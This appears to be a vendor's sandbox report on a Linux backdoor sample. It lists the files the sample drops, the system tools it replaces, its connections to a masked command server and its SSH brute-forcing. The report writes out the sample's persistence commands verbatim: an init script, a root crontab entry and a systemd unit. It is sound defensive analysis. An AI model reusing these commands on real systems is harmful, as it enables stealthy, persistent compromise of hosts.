Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/profile.d/bash_config
- /etc/rc.local
- /etc/profile.d/linux.sh
- /etc/profile.d/bash_config.sh
- /etc/init.d/ssh
- /etc/init.d/linux_kill
- /etc/crontab
- /etc/init.d/.depend.boot
- /etc/init.d/.depend.start
- /etc/init.d/.depend.stop
Creates or modifies the following symlinks:
- /etc/rc0.d/linux_kill
- /etc/rc1.d/linux_kill
- /etc/rc2.d/linux_kill
- /etc/rc3.d/linux_kill
- /etc/rc4.d/linux_kill
- /etc/rc5.d/linux_kill
- /etc/rc6.d/linux_kill
- /etc/rc2.d/S01linux_kill
- /etc/rc3.d/S01linux_kill
- /etc/rc4.d/S01linux_kill
- /etc/rc5.d/S01linux_kill
Malicious functions:
Replaces the following system files:
- /usr/bin/lsof
Manages services:
- update-rc.d linux_kill defaults
- systemctl daemon-reload
- systemctl enable linux.service
Launches processes:
- /bin/bash -c chmod 0755 /etc/32679
- chmod 0755 /etc/32679
- /etc/32679
- <SAMPLE_FULL_PATH>
- sleep 30
- /bin/bash -c echo \"#!/bin/sh\" > /etc/profile.d/linux.sh
- /bin/bash -c
- uname -r
- uname -m
- /bin/bash -c echo -e \"#!/bin/sh\n/usr/lib/libdlrpcld.so\" > /.img
- /bin/bash -c echo -e \"#!/bin/sh\n BEGIN INIT INFO\n#chkconfig: 2345 10 90\n#description:System.img.config\n# Default-Start: 2 3 4 5\n# Default-Stop: \n END INIT INFO\n/boot/System.img.config\nexit 0\" > /etc/init.d/linux_kill;chmod +x /etc/init.d/linux_kill
- /bin/bash -c echo \"* * * * * root /.img \" >> /etc/crontab
- chmod +x /etc/init.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc0.d/linux_kill
- /bin/bash -c chmod 0755 /.img
- chmod 0755 /.img
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc0.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc0.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc0.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc1.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc1.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc1.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc1.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc2.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc2.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc2.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc2.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc3.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc3.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc3.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc3.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc4.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc4.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc4.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc4.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc5.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc5.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc5.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc5.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc6.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc6.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc6.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc6.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rcS.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rcS.d/linux_kill
- /bin/bash -c update-rc.d linux_kill defaults;chkconfig --add linux_kill
- /sbin/insserv linux_kill
- /etc/id.services.conf
- /bin/bash -c echo -e \"[Unit]\nDescription=\n[Service]\nType=forking\nExecStart=/boot/System.img.config\nExecReload=/boot/System.img.config\nExecStop=/boot/System.img.config\n[Install]\nWantedBy=multi-user.target\" > /etc/systemd/system/linux.service;chmod +x /etc/systemd/system/linux.service;systemctl enable linux.service
- chmod +x /etc/systemd/system/linux.service
Performs operations with the file system:
Modifies file access rights:
- /etc/32679
- /etc/init.d/linux_kill
- /.img
- /etc/systemd/system/linux.service
Creates folders:
- /usr/bin/lib
Creates symlinks:
- /etc/rcS.d/linux_kill
Creates or modifies files:
- /dev/.img
- /etc/id.services.conf
- /etc/32679
- /usr/lib/libdlrpcld.so
- /lib/system-monitor
- /usr/bin/find
- /boot/System.img.config
- /usr/sbin/ifconfig.conf
- /usr/bin/lsof
- /.img
- /etc/systemd/system/linux.service
Locks files:
- /dev/.img
Network activity:
Establishes connection:
- 8.#.8.8:53
- 64.###.48.211:50500
Attacks using a special dictionary (brute-force technique) via the SSH protocol
DNS ASK:
- bb#.##umproot.com
Sends data to the following servers:
- 64.###.48.211:50500
Receives data from the following servers:
- 64.###.48.211:50500
Other:
Collects RAM information
